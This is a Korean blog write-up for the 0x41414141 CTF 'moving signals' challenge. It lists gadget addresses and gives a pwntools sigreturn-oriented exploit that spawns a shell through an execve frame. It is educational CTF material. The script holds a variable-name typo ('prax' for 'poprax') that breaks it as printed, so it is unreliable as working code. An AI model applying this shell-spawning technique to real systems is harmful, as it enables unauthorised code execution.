2021 SISS 21기 활동/여름방학 System
[0x41414141 CTF] moving signals 풀이
hyerang0125
2021. 7. 10. 17:11
1. checksec
64bit 파일이고 아무런 보호기법도 걸려있지 않다.
2. IDA
- IDA로 살펴본 결과 start() 함수가 하나 존재했다.
3. 확인해야 할 목록
- Libc offset
- "pop rax; ret"
- "syscall"
- "/bin/sh" 명령어가 저장된 영역
Find "/bin/sh" -> 0x41250
Find "pop rax ; ret" -> 0x41018
Find "syscall ; ret" -> 0x41015
4. Exploit
from pwn import *
#context.log_level = 'debug'
binary = "./moving-signals"
context.binary = binary #쉘코드 적용 대상 바이너리의 환경 자동 설정
p = process(binary)
poprax = 0x41018
syscall = 0x41015
print(hex(prax))
print(hex(syscall))
binsh = 0x41250
payload = "A"*0x8
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall)
s = SigreturnFrame(arch="amd64")
s.rax = constants.SYS_execve
s.rdi = binsh
s.rsi = 0
s.rdx = 0
s.rip = syscall
payload += str(s)
p.send(payload)
p.interactive()